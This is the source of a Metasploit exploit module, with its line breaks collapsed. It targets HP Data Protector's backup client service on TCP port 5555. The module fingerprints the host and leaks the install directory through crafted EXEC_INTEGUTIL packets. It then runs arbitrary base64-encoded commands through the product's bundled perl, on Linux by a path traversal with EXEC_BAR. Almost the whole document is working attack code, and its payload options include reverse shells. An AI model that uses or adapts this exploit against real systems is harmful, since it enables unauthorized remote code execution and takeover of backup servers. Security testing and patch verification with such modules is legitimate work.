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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name'=> 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution', 'Description' => %q{ This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL request allows to execute arbitrary commands from a restricted directory. Since it includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP Data Protector for linux.This module has been tested successfully on HP Data Protector 9 over Windows 2008 R2 64 bits and CentOS 6 64 bits. }, 'Author'=> [ 'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery 'juan vazquez'# msf module ], 'References'=> [ [ 'ZDI', '14-344'] ], 'Payload'=> { 'DisableNops' => true }, 'DefaultOptions'=> { # The powershell embedded payload takes some time to deploy 'WfsDelay' => 20 }, 'Targets' => [ [ 'Linux 64 bits / HP Data Protector 9', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'perl gawk bash-tcp openssl python generic' } } } ], [ 'Windows 64 bits / HP Data Protector 9', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'powershell' } } } ] ], 'DefaultTarget' => 0, 'Privileged'=> true, 'DisclosureDate'=> 'Oct 2 2014' )) register_options( [ Opt::RPORT(5555) ], self.class) end def check fingerprint = get_fingerprint if fingerprint.nil? return Exploit::CheckCode::Unknown end if fingerprint =~ /Data Protector A\.(\d+\.\d+)/ version = $1 vprint_status("#{peer} - Windows / HP Data Protector version #{version} found") elsif fingerprint =~ / INET/ vprint_status("#{peer} - Linux / HP Data Protector found") return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end if Gem::Version.new(version) <= Gem::Version.new('9') return Exploit::CheckCode::Appears end Exploit::CheckCode::Detected # there is no patch at the time of module writing end def exploit rand_exec = rand_text_alpha(8) print_status("#{peer} - Leaking the HP Data Protector directory...") leak = leak_hp_directory(rand_exec) dir = parse_dir(leak, rand_exec) if dir.nil? dir = default_hp_dir print_error("#{peer} - HP Data Protector dir not found, using the default #{dir}") else unless valid_target?(dir) print_error("#{peer} - HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...") end end if target.name =~ /Windows/ #command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) print_status("#{peer} - Executing payload...") execute_windows(payload.encoded, dir) else print_status("#{peer} - Executing payload...") execute_linux(payload.encoded, dir) end end def peer "#{rhost}:#{rport}" end def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |v| data << "#{Rex::Text.to_unicode(v)}\x00\x00" data << Rex::Text.to_unicode(" ") # Separator end data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator return [data.length].pack("N") + data end def get_fingerprint fingerprint = get_fingerprint_windows if fingerprint.nil? fingerprint = get_fingerprint_linux end fingerprint end def get_fingerprint_linux connect sock.put([2].pack("N") + "\xff\xfe") begin res = sock.get_once(4) rescue EOFError disconnect return nil end if res.nil? disconnect return nil else length = res.unpack("N")[0] end begin res = sock.get_once(length) rescue EOFError return nil ensure disconnect end if res.nil? return nil end res end def get_fingerprint_windows connect sock.put(rand_text_alpha_upper(64)) begin res = sock.get_once(4) rescue ::Errno::ECONNRESET, EOFError disconnect return nil end if res.nil? disconnect return nil else length = res.unpack("N")[0] end begin res = sock.get_once(length) rescue EOFError return nil ensure disconnect end if res.nil? return nil end Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null end def leak_hp_directory(rand_exec) connect pkt = build_pkt([ "2", # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "28", # Opcode EXEC_INTEGUTIL rand_exec, ]) sock.put(pkt) begin res = sock.get_once(4) rescue EOFError disconnect return nil end if res.nil? disconnect return nil else length = res.unpack("N")[0] end begin res = sock.get_once(length) rescue EOFError return nil ensure disconnect end if res.nil? return nil end if res =~ /No such file or directory/ # Linux signature return res else # deal as windows target return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null end end def parse_dir(data, clue) if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/ dir = $1 print_good("#{peer} - HP Data Protector directory found on #{dir}") elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/ dir = $1 print_good("#{peer} - HP Data Protector directory found on #{dir}") else dir = nil end dir end def valid_target?(dir) if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/ return true elsif target.name =~ /Linux/ && dir.start_with?('/') return true end false end def default_hp_dir if target.name =~ /Windows/ dir = 'C:\\Program Files\\OmniBack\\' else # linux dir = '/opt/omni/lbin/' end dir end def execute_windows(cmd, hp_dir) connect pkt = build_pkt([ "2", # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "28", # Opcode EXEC_INTEGUTIL "perl.exe", "-I#{hp_dir}lib\\perl", "-MMIME::Base64", "-e", "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))" ]) sock.put(pkt) disconnect end def execute_linux(cmd, hp_dir) connect pkt = build_pkt([ '2', # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), '11', # Opcode EXEC_BAR rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "../bin/perl", rand_text_alpha(8), "-I#{hp_dir}lib/perl", '-MMIME::Base64', '-e', "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))" ]) sock.put(pkt) disconnect end end |
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